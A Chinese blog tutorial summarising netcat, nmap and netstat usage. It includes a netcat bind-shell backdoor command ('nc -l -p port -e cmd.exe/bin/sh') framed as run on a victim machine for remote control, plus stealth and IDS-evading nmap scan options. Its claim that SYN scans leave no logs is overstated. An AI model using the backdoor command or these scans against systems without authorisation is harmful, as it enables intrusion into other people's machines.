zoukankan      html  css  js  c++  java
  • netstat/nmap/netcat用法

    这三款工具是网络安全利器,做一个简单摘要,以备参考。

    netcat--网安瑞士军刀

    netcat可以用于监控/扫描网络端口,它应用最多的情况是后门程序。

    一般分两个步骤:

      步骤一: 我们在被攻击的机器上用下列命令:nc –v –l –p 端口号 –e shell // 其中端口号是我们欲将shell绑定到哪个端口,shell在不同的系统是不同,在Windows下是cmd.exe,在Linux下一般是/bin/sh。
      步骤二: 攻击者在自己的机器上使用命令 :nc 被攻击者IP 端口号来达到远程控制受害者(被攻击者)的机器。

        下面的例子是将windows下的cmd.exe绑定在80端口,

       然后在Linux机器上进行控制

    可以看到,我们在Linux下完全得到了Windows下一样的cmd.exe,而且我们可以完全像在本地控制一样远程完全控制Windows。

     __________________________________________

    nmap: 功能强大的端口扫描工具

     简单来讲,nmap有以下几种主要用法

    全面扫描:nmap-T4 -A targetip  
    主机发现:nmap-T4 -sn targetip  
    端口扫描:nmap-T4 targetip  
    服务扫描:nmap-T4 -sV targetip  
    操作系统扫描:nmap-T4 -O targetip

    下面给出几个例子,如默认扫描一台主机的开放端口

    C:\Users\aa>nmap 101.41.11.45
    Starting Nmap 5.51 ( http://nmap.org ) at 2012-03-23 14:13 中国标准时间
    Nmap scan report for 101.41.11.45
    Host is up (0.00061s latency).
    Not shown: 995 closed ports
    PORT STATE SERVICE
    139/tcp open netbios-ssn
    443/tcp open https
    912/tcp open apex-mesh
    3306/tcp open mysql
    3389/tcp open ms-term-serv
    MAC Address: 00:11:D1:8A:67:16 (Micro-star International CO.)
    Nmap done: 1 IP address (1 host up) scanned in 1.49 seconds

    端口有如下四种状态:

      Open port(防火墙允许少数端口打开)
      Closed Port(由于防火墙的缘故,大部分的端口被关闭)
      Filtered(Nmap不确定端口是否打开或者关闭)
      Unfiltered(Nmap能够访问这个端口,但是不清楚这个端口打开的状态)

    如果用-A选项,会有更加详细的信息,所有开放端口、对应的服务、操作系统信息会一览无余。。。

    C:\Users\aa>nmap -A 101.41.11.45

    Starting Nmap 5.51 ( http://nmap.org ) at 2012-03-23 14:16 中国标准时间
    Nmap scan report for 101.41.11.45
    Host is up (0.00011s latency).
    Not shown: 995 closed ports
    PORT STATE SERVICE VERSION
    139/tcp open netbios-ssn
    443/tcp open ssl/http Apache httpd
    |_http-title: VisualSVN Server
    |_http-favicon:
    912/tcp open vmware-auth VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
    3306/tcp open mysql MySQL 5.5.14
    | mysql-info: Protocol: 10
    | Version: 5.5.14
    | Thread ID: 158
    | Some Capabilities: Long Passwords, Connect with DB, Compress, ODBC, Transactio
    ns, Secure Connection
    | Status: Autocommit
    |_Salt: w{'M-:xq
    3389/tcp open ms-term-serv?
    MAC Address: 00:11:D1:8A:67:16 (Micro-star International CO.)
    Device type: general purpose
    Running: Microsoft Windows XP
    OS details: Microsoft Windows XP
    Network Distance: 1 hop

    Host script results:
    |_nbstat: NetBIOS name: XXXXXXX, NetBIOS user: <unknown>, NetBIOS MAC: 0
    0:13:d3:8a:67:16 (Micro-star International CO.)
    |_smbv2-enabled: Server doesn't support SMBv2 protocol
    | smb-os-discovery:
    | OS: Windows XP (Windows 2000 LAN Manager)
    | Name: WORKGROUP\XXXXXXX
    |_ System time: 2012-03-23 14:17:24 UTC+8

    TRACEROUTE
    HOP RTT ADDRESS
    1 0.10 ms 101.41.11.45

    OS and Service detection performed. Please report any incorrect results at http:
    //nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 111.66 seconds

    扫描特定网段上的活动主机,这是nmap最强的地功能,提供了多种扫描方式

    nmap -v -sn 192.168.1.1/24 
    nmap 192.168.1.2 192.168.1.5 #扫描多个目标
    nmap 192.168.1.1-100 #(扫描IP地址为192.168.1.1-192.168.1.100内 的所有主机)
    nmap -iL target.txt #扫描这个target.txt内的所有主机
    nmap 192.168.1.1/24 -exclude 192.168.1.1 #扫描除过某一个ip外的所有子网主机
    nmap 192.168.1.1/24 -exclude file xxx.txt # xxx.txt中的文件将会从扫描的主机中排除
    nmap -p80,21,23 192.168.1.1 # 扫描特定主机上的80,21,23端口
    nmap -p 1-1000 192.168.0.1 #只扫描1~1000端口,可以节省时间
    nmap -v -sn 192.168.0.0/16 10.0.0.0/8 # 不进行端口扫描
    root@bt:~# nmap -v -sn 192.168.0.100/24 | grep -v down | grep 192
    Nmap scan report for bogon (192.168.0.1)
    Nmap scan report for bogon (192.168.0.100)
    Nmap scan report for bogon (192.168.0.102)
    Nmap scan report for bogon (192.168.0.103)

    -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans, 参数较多,看实际需要进行选择即可。

    -sS被称为半开放扫描,因为这种技术使得Nmap不需要通过完整的握手,就能获得远程主机的信息。Nmap发送SYN包到远程主 机,但是它不会产生任何会话.因此不会在目标主机上产生任何日志记录,因为没有形成会话。

    nmap -v -sS 192.168.1.1/24 

    如果不选择SYN扫描,TCP connect()扫描就是默认的扫描模式.不同于Tcp SYN扫描,Tcp connect()扫描需要完成三次握手,并且要求调用系统的connect().Tcp connect()扫描技术只适用于找出TCP和UDP端口.

    Udp scan(sU)
    顾名思义,这种扫描技术用来寻找目标主机打开的UDP端口.它不需要发送任何的SYN包,因为这种技术是针对UDP端口的。UDP扫描发送UDP数 据包到目标主机,并等待响应,如果返回ICMP不可达的错误消息,说明端口是关闭的,如果得到正确的适当的回应,说明端口是开放的.

    nmap -sU 192.168.1.1

    FIN scan (sF)
    有时候Tcp SYN扫描不是最佳的扫描模式,因为有防火墙的存在.目标主机有时候可能有IDS和IPS系统的存在,防火墙会阻止掉SYN数据包。发送一个设置了FIN标志的数据包并不需要完成TCP的握手

    nmap -sF 192.168.1.8

    PING Scan (sP)

    PING扫描不同于其它的扫描方式,因为它只用于找出主机是否是存在在网络中的.它不是用来发现是否开放端口的.PING扫描需要ROOT权限,如果用户没有ROOT权限,PING扫描将会使用connect()调用.

    nmap -sP 192.168.1.1

    nmap 其它常用参数

     -iR <num hosts>: 随机产生特定数量的ip
     -n:不进行域名解决,大批量扫描时可以省下不少时间
     -F: 快速扫描模式,只扫描常用的100个端口
     -sV:取得对应端口上程序的详细版本信息
     -O: 进行操作系统判别
    -T:
    设置nmap的适时策略 Paranoid(最慢):为了避开IDS的检测使扫描速度极慢,nmap串行所有的扫描,每隔至少5分钟发送一个包;Sneaky:也差不多,只是数据包的发送间隔是15秒;Polite:不增加太大的网络负载,避免宕掉目标主机,串行每个探测,并且使每个探测有0.4秒种的间隔;Normal:nmap默认的选项,在不是网络过载或者主机/端口丢失的情况下尽可能快速地扫描;Aggressive:设置5分钟的超时限制,使对每台主机的扫描时间不超过5分钟,并且使对每次探测回应的等待时间不超过1.5秒钟;Insane(最疯狂,最快):只适合快速的网络或者你不在意丢失某些信息,每台主机的超时限制是75秒,对每次探测只等待0.3秒钟。一般使用数字来代替这些模式,例如:-T 0等于-T Paranoid,-T 5等于-T Insane。

      ___________________________________

    netstat: 一般用于检验本机各端口的连接

    如果说nmap/netcat都属于“进攻”武器的话,netstat则是用于防守的利器。它可以显示路由表、实际网络连接以及每一个网络接口设备的状态信息。

    例子详见

    http://www.cnblogs.com/vigarbuaa/archive/2012/03/07/2383064.html

    http://www.cnblogs.com/vigarbuaa/archive/2012/03/23/2413178.html

     






  • 相关阅读:
    css3学习 理论之渐变
    css3学习 理论之弹性盒模型
    backbone 初识
    css3学习 理论之动画
    backbone 学习之小例子一枚
    Moving property files outside jar in spring standalone application
    mysql 命令
    Broken pipe
    Gerrit
    maven eclipse 工程缺少build path怎么办?
  • 原文地址:https://www.cnblogs.com/vigarbuaa/p/2413578.html
Copyright © 2011-2022 走看看